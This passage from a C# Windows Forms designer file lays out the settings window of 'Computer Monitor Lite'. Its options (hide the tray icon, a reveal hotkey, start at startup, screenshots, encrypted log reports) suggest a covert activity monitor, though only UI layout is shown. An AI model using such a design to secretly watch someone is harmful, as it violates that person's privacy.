402 | this.groupBox6.Name = "groupBox6";
403 | this.groupBox6.Size = new System.Drawing.Size(220, 76);
404 | this.groupBox6.TabIndex = 0;
405 | this.groupBox6.TabStop = false;
406 | this.groupBox6.Text = "Report folder";
407 | //
408 | // button4
409 | //
410 | this.button4.Location = new System.Drawing.Point(6, 45);
411 | this.button4.Name = "button4";
412 | this.button4.Size = new System.Drawing.Size(208, 23);
413 | this.button4.TabIndex = 1;
414 | this.button4.Text = "Browse...";
415 | this.button4.UseVisualStyleBackColor = true;
416 | //
417 | // report_folder
418 | //
419 | this.report_folder.Location = new System.Drawing.Point(6, 19);
420 | this.report_folder.Name = "report_folder";
421 | this.report_folder.Size = new System.Drawing.Size(208, 20);
422 | this.report_folder.TabIndex = 0;
423 | //
424 | // tabPage6
425 | //
426 | this.tabPage6.Controls.Add(this.label3);
427 | this.tabPage6.Controls.Add(this.label2);
428 | this.tabPage6.Location = new System.Drawing.Point(4, 22);
429 | this.tabPage6.Name = "tabPage6";
430 | this.tabPage6.Padding = new System.Windows.Forms.Padding(3);
431 | this.tabPage6.Size = new System.Drawing.Size(232, 174);
432 | this.tabPage6.TabIndex = 2;
433 | this.tabPage6.Tag = "SAVE";
434 | this.tabPage6.Text = "Save";
435 | this.tabPage6.UseVisualStyleBackColor = true;
436 | //
437 | // label3
438 | //
439 | this.label3.AutoSize = true;
440 | this.label3.Location = new System.Drawing.Point(166, 25);
441 | this.label3.Name = "label3";
442 | this.label3.Size = new System.Drawing.Size(60, 13);
443 | this.label3.TabIndex = 1;
444 | this.label3.Text = "settings.bin";
445 | //
446 | // label2
447 | //
448 | this.label2.AutoSize = true;
449 | this.label2.Location = new System.Drawing.Point(6, 25);
450 | this.label2.Name = "label2";
451 | this.label2.Size = new System.Drawing.Size(155, 13);
452 | this.label2.TabIndex = 0;
453 | this.label2.Text = "Successfully saved settings to :";
454 | //
455 | // tabPage3
456 | //
457 | this.tabPage3.Controls.Add(this.label5);
458 | this.tabPage3.Controls.Add(this.label4);
459 | this.tabPage3.Location = new System.Drawing.Point(4, 22);
460 | this.tabPage3.Name = "tabPage3";
461 | this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
462 | this.tabPage3.Size = new System.Drawing.Size(252, 212);
463 | this.tabPage3.TabIndex = 2;
464 | this.tabPage3.Text = "About";
465 | this.tabPage3.UseVisualStyleBackColor = true;
466 | //
467 | // notifyIcon1
468 | //
469 | this.notifyIcon1.Text = "Computer Monitor Lite";
470 | //
471 | // label4
472 | //
473 | this.label4.AutoSize = true;
474 | this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
475 | this.label4.Location = new System.Drawing.Point(17, 13);
476 | this.label4.Name = "label4";
477 | this.label4.Size = new System.Drawing.Size(215, 20);
478 | this.label4.TabIndex = 0;
479 | this.label4.Text = "COMPUTER LITE MONITOR";
480 | //
481 | // label5
482 | //
483 | this.label5.AutoSize = true;
484 | this.label5.Location = new System.Drawing.Point(27, 33);
485 | this.label5.Name = "label5";
486 | this.label5.Size = new System.Drawing.Size(109, 13);
487 | this.label5.TabIndex = 1;
488 | this.label5.Text = "Coded by Paskowsky";
489 | //
490 | // Form1
491 | //
492 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
493 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
494 | this.ClientSize = new System.Drawing.Size(284, 262);
495 | this.Controls.Add(this.tabControl1);
496 | this.ForeColor = System.Drawing.Color.Black;
497 | this.MaximizeBox = false;
498 | this.Name = "Form1";
499 | this.Text = "Computer Monitor Lite";
500 | this.tabControl1.ResumeLayout(false);
501 | this.tabPage1.ResumeLayout(false);
502 | this.groupBox4.ResumeLayout(false);
503 | this.groupBox2.ResumeLayout(false);
504 | this.groupBox1.ResumeLayout(false);
505 | this.tabPage2.ResumeLayout(false);
506 | this.tabControl2.ResumeLayout(false);
507 | this.tabPage4.ResumeLayout(false);
508 | this.tabPage4.PerformLayout();
509 | this.groupBox8.ResumeLayout(false);
510 | ((System.ComponentModel.ISupportInitialize)(this.max_log_size)).EndInit();
511 | this.groupBox5.ResumeLayout(false);
512 | this.groupBox5.PerformLayout();
513 | this.tabPage5.ResumeLayout(false);
514 | this.groupBox3.ResumeLayout(false);
515 | this.groupBox3.PerformLayout();
516 | this.tabPage7.ResumeLayout(false);
517 | this.groupBox7.ResumeLayout(false);
518 | this.groupBox7.PerformLayout();
519 | this.groupBox6.ResumeLayout(false);
520 | this.groupBox6.PerformLayout();
521 | this.tabPage6.ResumeLayout(false);
522 | this.tabPage6.PerformLayout();
523 | this.tabPage3.ResumeLayout(false);
524 | this.tabPage3.PerformLayout();
525 | this.ResumeLayout(false);
526 |
527 | }
528 |
529 | #endregion
530 |
531 | private System.Windows.Forms.TabControl tabControl1;
532 | private System.Windows.Forms.TabPage tabPage1;
533 | private System.Windows.Forms.GroupBox groupBox2;
534 | private System.Windows.Forms.Button view_logs;
535 | private System.Windows.Forms.GroupBox groupBox1;
536 | private System.Windows.Forms.Button start_stop;
537 | private System.Windows.Forms.TabPage tabPage2;
538 | private System.Windows.Forms.CheckBox start_log_startup;
539 | private System.Windows.Forms.TabPage tabPage3;
540 | private System.Windows.Forms.GroupBox groupBox4;
541 | private System.Windows.Forms.Button gen_keypair;
542 | private System.Windows.Forms.TabControl tabControl2;
543 | private System.Windows.Forms.TabPage tabPage4;
544 | private System.Windows.Forms.GroupBox groupBox5;
545 | private System.Windows.Forms.Label label1;
546 | private System.Windows.Forms.TextBox hotkey;
547 | private System.Windows.Forms.CheckBox hide_tray;
548 | private System.Windows.Forms.CheckBox minimize_tray;
549 | private System.Windows.Forms.CheckBox start_minimized;
550 | private System.Windows.Forms.CheckBox start_startup;
551 | private System.Windows.Forms.TabPage tabPage5;
552 | private System.Windows.Forms.GroupBox groupBox3;
553 | private System.Windows.Forms.TextBox public_key;
554 | private System.Windows.Forms.TabPage tabPage6;
555 | private System.Windows.Forms.Label label3;
556 | private System.Windows.Forms.Label label2;
557 | private System.Windows.Forms.CheckBox take_screen;
558 | private System.Windows.Forms.TabPage tabPage7;
559 | private System.Windows.Forms.GroupBox groupBox6;
560 | private System.Windows.Forms.TextBox report_folder;
561 | private System.Windows.Forms.GroupBox groupBox7;
562 | private System.Windows.Forms.TextBox report_extension;
563 | private System.Windows.Forms.Button button4;
564 | private System.Windows.Forms.GroupBox groupBox8;
565 | private System.Windows.Forms.NumericUpDown max_log_size;
566 | private System.Windows.Forms.NotifyIcon notifyIcon1;
567 | private System.Windows.Forms.Label label5;
568 | private System.Windows.Forms.Label label4;
569 | }
570 | }
571 |
572 |
--------------------------------------------------------------------------------